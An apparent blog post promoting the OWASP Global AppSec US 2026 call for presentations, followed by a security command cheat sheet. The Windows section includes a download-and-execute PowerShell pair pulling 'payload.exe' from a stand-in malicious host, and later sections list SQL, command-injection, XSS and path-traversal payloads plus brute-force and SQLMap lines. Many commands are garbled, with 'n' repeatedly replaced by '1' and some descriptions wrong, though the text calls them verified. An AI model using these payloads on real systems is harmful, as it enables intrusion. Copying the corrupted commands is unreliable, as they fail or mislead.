OWASP Global AppSec US 2026: The CFP Is Open – Here’s Why Your Submission Could Define the Next Decade of AppSec + Video

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Introduction:

The Open Worldwide Application Security Project (OWASP) Global AppSec US Conference stands as the premier gathering for application security professionals, developers, and researchers worldwide. As the largest OWASP conference in the United States, the 2026 event – celebrating OWASP’s 25th anniversary – will take place November 5–6 at the Hyatt Regency San Francisco, preceded by hands-on training from November 2–4. With the Call for Presentations (CFP) now open until June 29, 2026, security practitioners have a pivotal opportunity to shape the discourse on emerging threats, AI security, cloud hardening, and the future of DevSecOps.

Learning Objectives:

  • Understand the OWASP Global AppSec US 2026 CFP tracks, submission guidelines, and how to craft a compelling proposal that aligns with the conference’s thematic pillars (Planning & Design, Implementation, Testing, Deployment & Maintenance, Process & Culture).
  • Acquire actionable technical skills across Linux and Windows environments, including command-line utilities for vulnerability assessment, API security testing, cloud infrastructure hardening, and CI/CD pipeline security.
  • Develop a strategic framework for integrating OWASP principles and tools (e.g., OWASP Top 10, ASVS, Dependency-Check, ZAP) into modern DevSecOps workflows, with a focus on measurable security outcomes.

You Should Know:

  1. Decoding the OWASP Global AppSec US 2026 CFP: Tracks, Topics, and Submission Strategy

The CFP is structured around five core tracks, each addressing a distinct phase of the secure software development lifecycle (SDLC):

  • Planning and Design: This track focuses on proactive security measures during ideation and architecture. Topics include threat modeling methodologies (e.g., STRIDE, DREAD, attack trees), secure-by-default and secure-by-design principles, and the formulation of security requirements. A compelling submission might detail a novel threat modeling framework for microservices or a case study on implementing secure design patterns in a fintech application.

  • Implementation: This track zeroes in on activities during system creation. It covers lessons learned from developer collaboration, new research on vulnerability identification tools (SAST, DAST, IAST), interfacing with results from other phases, and developer education initiatives. Proposals could showcase a custom static analysis rule set, a developer security training program’s effectiveness, or a comparative analysis of SCA tools.

  • Testing: This track validates that security controls function as intended before deployment. It encompasses bug bounty programs, penetration testing methodologies, and automated security testing frameworks. A submission might present a novel approach to API fuzzing, a case study on scaling a bug bounty program, or a tool that automates OWASP ASVS compliance checks.

  • Deployment and Maintenance: This track addresses the intersection of DevOps and security, covering dependency management, CI/CD pipeline security, software supply chain integrity, and runtime protection. Potential topics include securing GitHub Actions or GitLab CI pipelines, implementing SLSA (Supply-chain Levels for Software Artifacts), or using eBPF for runtime application self-protection (RASP).

  • Process and Culture: This track focuses on building organizational security frameworks, including security awareness programs, security champions initiatives, and fostering a security-first culture. Submissions could describe a successful security champions program, a gamified security awareness campaign, or a framework for measuring security culture maturity.

Additionally, the conference features an OWASP Project Showcase for project leaders to share updates and an OWASP Project Demo Room for hands-on demonstrations.

Submission Strategy: The CFP closes on June 29, 2026, at 11:59 PM PDT. Proposals should be 45-minute sessions with a 5-10 minute Q&A. To craft a winning submission:
– Clearly articulate the problem you’re solving and its relevance to the track.
– Provide concrete examples, case studies, or data to support your claims.
– Highlight any novel research, tools, or methodologies.
– Emphasize actionable takeaways for the audience.
– Review sample high-quality submissions provided by OWASP.

2. Essential Linux Commands for Application Security Testing

For security professionals, proficiency in Linux command-line tools is indispensable for vulnerability assessment, log analysis, and penetration testing. Below are essential commands and their applications:

Network Reconnaissance and Scanning:

 Nmap - Network discovery and port scanning
nmap -sV -sC -A -T4 target_ip  Version detection, default scripts, OS detection
nmap -p- -sS -T4 target_ip  Full TCP port scan using SYN scan

Netcat - TCP/UDP connection and listening
nc -zv target_ip 1-1000  Port scanning (z: zero I/O, v: verbose)
nc -l -p 4444  Listening on port 4444

tcpdump - Packet capture
tcpdump -i eth0 -w capture.pcap  Capture packets to file
tcpdump -i eth0 'port 443'  Capture HTTPS traffic

Web Application Security Testing:

 Curl - HTTP requests and API testing
curl -X GET "https://api.example.com/users" -H "Authorization: Bearer token"
curl -X POST "https://api.example.com/login" -d "username=admin&password=admin" -v
curl -I https://example.com  Fetch headers only
curl --path-as-is https://example.com/../../etc/passwd  Path traversal test

wget - File retrieval and mirroring
wget -r -l 2 -1p https://example.com  Recursive download, 2 levels, no parent

OpenSSL - SSL/TLS testing
openssl s_client -connect example.com:443 -tls1_2  Test TLS 1.2 connection
openssl s_client -connect example.com:443 -servername example.com  SNI support

Log Analysis and Forensics:

 Grep, Awk, Sed - Text processing
grep -r "error" /var/log/  Recursively search for "error"
grep -E "Failed password|Accepted password" /var/log/auth.log
awk '{print $1, $9}' /var/log/nginx/access.log  Print IP and status code
sed -1 '/2026-06-21/,/2026-06-22/p' /var/log/syslog  Extract date range

Journalctl - Systemd journal
journalctl -u nginx -f  Follow nginx service logs
journalctl --since "2026-06-21 10:00" --until "2026-06-21 12:00"

Vulnerability Scanning:

 Nikto - Web server scanner
nikto -h https://example.com -ssl -port 443

SQLMap - SQL injection detection and exploitation
sqlmap -u "https://example.com/page?id=1" --batch --dbs
sqlmap -u "https://example.com/page?id=1" -D database_name --tables

Hydra - Password brute-forcing
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target_ip
  1. Windows Security Commands and Tools for AppSec Professionals

Windows environments require a different set of tools for security assessment and hardening. Key commands include:

System Information and Hardening:

 Get system information
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
wmic os get Caption,Version,CSDVersion /value

List installed hotfixes (patches)
wmic qfe list brief /format:table

Check PowerShell execution policy
Get-ExecutionPolicy -List

Audit system services
Get-Service | Where-Object {$_.Status -eq "Running"} | Select-Object Name,DisplayName

Network and Firewall Configuration:

 Network configuration
ipconfig /all
netstat -anob | findstr LISTENING  Listening ports with owning process

Windows Firewall rules
netsh advfirewall show allprofiles
netsh advfirewall firewall show rule name=all

Add firewall rule (allow port 8080)
netsh advfirewall firewall add rule name="Allow Port 8080" dir=in action=allow protocol=TCP localport=8080

Active Directory and Authentication:

 List domain users and groups (requires domain admin)
Get-ADUser -Filter  -Properties  | Select-Object Name,SamAccountName,Enabled
Get-ADGroup -Filter  | Select-Object Name,GroupCategory,GroupScope

Check password policies
net accounts

Test local admin credentials
Test-ComputerSecureChannel -Verbose

PowerShell for Security Automation:

 Invoke-WebRequest for API testing
$response = Invoke-WebRequest -Uri "https://api.example.com/users" -Method GET -Headers @{Authorization="Bearer token"}
$response.Content | ConvertFrom-Json

Download and execute (use with caution!)
Invoke-WebRequest -Uri "https://malicious.com/payload.exe" -OutFile "C:\temp\payload.exe"
Start-Process "C:\temp\payload.exe"

Event log analysis
Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4624} | Select-Object TimeCreated,Message
  1. API Security Testing: Tools, Techniques, and OWASP API Security Top 10

APIs are a primary attack vector, and the OWASP API Security Top 10 provides a critical framework. Key tools and techniques include:

Postman for API Testing:

  • Use Postman’s Collection Runner for automated security tests.
  • Implement pre-request scripts to generate authentication tokens.
  • Use tests to validate status codes, response times, and schema compliance. 
    // Postman test script example
pm.test("Status code is 200", function () {
pm.response.to.have.status(200);
});
pm.test("Response time < 200ms", function () {
pm.expect(pm.response.responseTime).to.be.below(200);
});
pm.test("Response has valid schema", function () {
const schema = { / JSON schema / };
pm.response.to.have.jsonSchema(schema);
});

Burp Suite for API Security:

  • Configure Burp as a proxy to intercept API traffic.
  • Use the Intruder tool for fuzzing parameters (e.g., IDOR, SQLi).
  • Leverage the Repeater tool for manual request manipulation.
  • Automate scanning with the Active Scanner.

Custom API Fuzzing with Python:

import requests
import json

Basic API fuzzing script
url = "https://api.example.com/users"
payloads = ["' OR '1'='1", "../../etc/passwd", "<script>alert(1)</script>"]

for payload in payloads:
response = requests.get(f"{url}/{payload}")
if response.status_code != 404:
print(f"Potential vulnerability with payload: {payload}")
print(f"Response: {response.text[:200]}")

OWASP API Security Top 10 Mitigations:

  • API1:2023 – Broken Object Level Authorization: Implement proper access controls at the object level; use indirect reference maps.
  • API2:2023 – Broken Authentication: Enforce strong authentication (OAuth2, JWT with short expiration); implement rate limiting.
  • API3:2023 – Broken Object Property Level Authorization: Validate and sanitize all input; use allowlists for properties.
  • API4:2023 – Unrestricted Resource Consumption: Implement rate limiting, pagination, and resource quotas.
  • API5:2023 – Broken Function Level Authorization: Enforce role-based access control (RBAC) at the function level.
  • API6:2023 – Unrestricted Access to Sensitive Business Flows: Implement anti-automation measures (CAPTCHA, behavioral analysis).
  • API7:2023 – Server Side Request Forgery: Validate and sanitize URLs; use allowlists for destinations.
  • API8:2023 – Security Misconfiguration: Harden API servers; disable unnecessary HTTP methods; implement security headers.
  • API9:2023 – Improper Inventory Management: Maintain an up-to-date API inventory; deprecate and remove old versions.
  • API10:2023 – Unsafe Consumption of APIs: Validate and sanitize all data from third-party APIs; implement input validation.
  1. Cloud Hardening and Container Security: Best Practices and Commands

With the widespread adoption of cloud-1ative architectures, securing containers and cloud infrastructure is paramount.

Docker Security Commands:

 Scan Docker images for vulnerabilities (using Trivy)
trivy image --severity HIGH,CRITICAL python:3.9-slim

Audit Docker daemon configuration
docker info
docker system df  Check disk usage

Run container with minimal privileges
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE --security-opt=no-1ew-privileges:true nginx

Check for exposed ports and volumes
docker ps --format "table {{.Names}}\t{{.Ports}}\t{{.Mounts}}"

Kubernetes Security Commands:

 Check Kubernetes RBAC configuration
kubectl get clusterroles,clusterrolebindings --all-1amespaces
kubectl describe clusterrolebinding cluster-admin

Audit Kubernetes secrets
kubectl get secrets --all-1amespaces
kubectl describe secret secret-1ame -1 namespace

Scan Kubernetes manifests with kube-bench
kube-bench run --targets master,node

Use OPA (Open Policy Agent) for policy enforcement
kubectl apply -f policy.yaml

Cloud Provider CLI Commands (AWS Example):

 AWS CLI - IAM and Security Groups
aws iam list-users
aws iam list-attached-user-policies --user-1ame username
aws ec2 describe-security-groups --group-ids sg-12345678

Check S3 bucket permissions
aws s3api get-bucket-acl --bucket bucket-1ame
aws s3api get-bucket-policy --bucket bucket-1ame

Audit CloudTrail logs
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=ConsoleLogin

6. CI/CD Pipeline Security: Integrating OWASP Tools

Integrating security into CI/CD pipelines is essential for DevSecOps. Here’s how to incorporate OWASP tools:

GitHub Actions Security Workflow Example:

name: Security Scan
on: [push, pull_request]

jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3

OWASP Dependency-Check - SCA
- name: Dependency Check
uses: dependency-check/Dependency-Check_Action@main
with:
project: 'My Project'
path: '.'
format: 'HTML'

OWASP ZAP - DAST
- name: ZAP Scan
uses: zaproxy/[email protected]
with:
target: 'https://staging.example.com'
rules_file_name: '.zap/rules.tsv'

Semgrep - SAST
- name: Semgrep Scan
uses: returntocorp/semgrep-action@v1
with:
config: 'p/owasp-top-ten'

GitLab CI Security Template:

stages:
- security

sast:
stage: security
image: registry.gitlab.com/gitlab-org/security-products/analyzers/semgrep:latest
script:
- semgrep --config=p/owasp-top-ten --json --output semgrep.json .
artifacts:
paths: [semgrep.json]

dependency_scanning:
stage: security
image: registry.gitlab.com/gitlab-org/security-products/analyzers/dependency-scanning:latest
script:
- dependency-scanning

Jenkins Pipeline Security Stage:

stage('Security Scanning') {
steps {
// OWASP Dependency-Check
dependencyCheck additionalArguments: '--scan . --format HTML'

// OWASP ZAP
zapStart command: 'zap-full-scan.py', options: '-t https://staging.example.com'

// Trivy for container scanning
sh 'trivy image --severity HIGH,CRITICAL myregistry/myapp:latest'
}
}

7. Vulnerability Exploitation and Mitigation: A Practical Guide

Understanding exploitation techniques is crucial for effective defense. Here’s a guide to common vulnerabilities and their mitigations:

SQL Injection:

  • Exploitation: ' OR '1'='1' --, `’; DROP TABLE users; –`
    – Mitigation: Use parameterized queries (prepared statements); implement input validation; use ORM frameworks.
  • Detection: Use SQLMap, Burp Suite, or manual testing.

Cross-Site Scripting (XSS):

  • Exploitation: <script>alert('XSS')</script>, ``
    – Mitigation: Encode output (HTML, JavaScript, URL); use Content Security Policy (CSP); validate input.
  • Detection: Use OWASP ZAP, Burp Suite, or manual payload injection.

Command Injection:

  • Exploitation: ; ls -la, | whoami, `$(cat /etc/passwd)`
    – Mitigation: Avoid system calls; use allowlists for input; sanitize input.
  • Detection: Manual testing with payloads; use static analysis tools.

Path Traversal:

  • Exploitation: ../../etc/passwd, `..\..\windows\win.ini`
    – Mitigation: Use a secure file access library; validate and sanitize input; use a chroot jail.
  • Detection: Manual testing; use fuzzing tools.

Insecure Direct Object References (IDOR):

  • Exploitation: Change user ID in URL or parameter (/user/123 -> /user/124)
  • Mitigation: Implement proper access control; use indirect reference maps; enforce session-based authorization.
  • Detection: Manual testing; use Burp Suite to manipulate parameters.

Security Header Configuration (Apache & Nginx):

 Apache .htaccess
Header set X-Frame-Options "SAMEORIGIN"
Header set X-Content-Type-Options "nosniff"
Header set X-XSS-Protection "1; mode=block"
Header set Strict-Transport-Security "max-age=31536000; includeSubDomains"
Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline';"

 Nginx configuration
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline';" always;

What Undercode Say:

  • Key Takeaway 1: The OWASP Global AppSec US 2026 CFP is not just a call for presentations – it’s a call to action for the entire application security community to shape the agenda for the next year and beyond. With tracks spanning the entire SDLC and emerging topics like AI security and cloud-1ative defenses, this is the premier opportunity to share research, case studies, and practical methodologies with over 800 peers. The CFP deadline of June 29, 2026, is fast approaching, and submissions should align with the track guidelines to maximize impact.

  • Key Takeaway 2: Technical excellence in application security requires proficiency across multiple domains – from Linux command-line tools and Windows security commands to API testing frameworks, cloud hardening techniques, and CI/CD pipeline integration. This article has provided a comprehensive toolkit, including verified commands for vulnerability assessment (Nmap, SQLMap, Nikto), log analysis (grep, awk, journalctl), container security (Trivy, kube-bench), and pipeline security (GitHub Actions, GitLab CI, Jenkins). Mastering these tools and integrating them into a DevSecOps workflow is essential for building resilient applications.

  • Analysis: The convergence of application security with AI, cloud-1ative architectures, and supply chain security is reshaping the threat landscape. The OWASP Global AppSec US 2026 agenda reflects this evolution, with dedicated tracks for AI security, cloud and serverless security, and deployment/maintenance (which includes supply chain). Security professionals must adopt a proactive, shift-left approach, integrating security into every phase of the SDLC. The commands, tools, and techniques outlined in this article provide a practical foundation for this journey. Moreover, the conference’s emphasis on Process & Culture underscores that security is not just a technical challenge but also a human and organizational one. Building a security champions program, fostering a security-first culture, and implementing effective security awareness training are as critical as any technical control.

Prediction:

  • +1: The OWASP Global AppSec US 2026 conference, celebrating OWASP’s 25th anniversary, will likely set new attendance records, with over 800 participants, and will serve as a catalyst for widespread adoption of AI-powered security tools, as AI security is explicitly featured in the tracks. This will drive innovation in automated threat detection and response.
  • +1: The emphasis on CI/CD pipeline security and software supply chain integrity will accelerate the adoption of SLSA and SBOM standards, leading to more transparent and verifiable software development practices across the industry.
  • +1: The OWASP Project Showcase and Demo Room will foster greater community collaboration, potentially leading to new OWASP projects focused on emerging technologies like serverless security and blockchain, further enriching the OWASP ecosystem.
  • -1: The increasing complexity of application security, driven by AI, cloud, and microservices, may lead to a widening skills gap, as traditional security training struggles to keep pace with the rapid evolution of threats and technologies.
  • -1: Despite the best efforts of the community, the prevalence of OWASP Top 10 vulnerabilities, particularly API security issues (OWASP API Security Top 10), may continue to rise as organizations rush to adopt APIs without adequate security controls, leading to high-profile data breaches.
  • -1: The integration of security into CI/CD pipelines, while beneficial, may introduce friction and slowdowns in development cycles if not implemented thoughtfully, potentially leading to security being bypassed or deprioritized in favor of speed.

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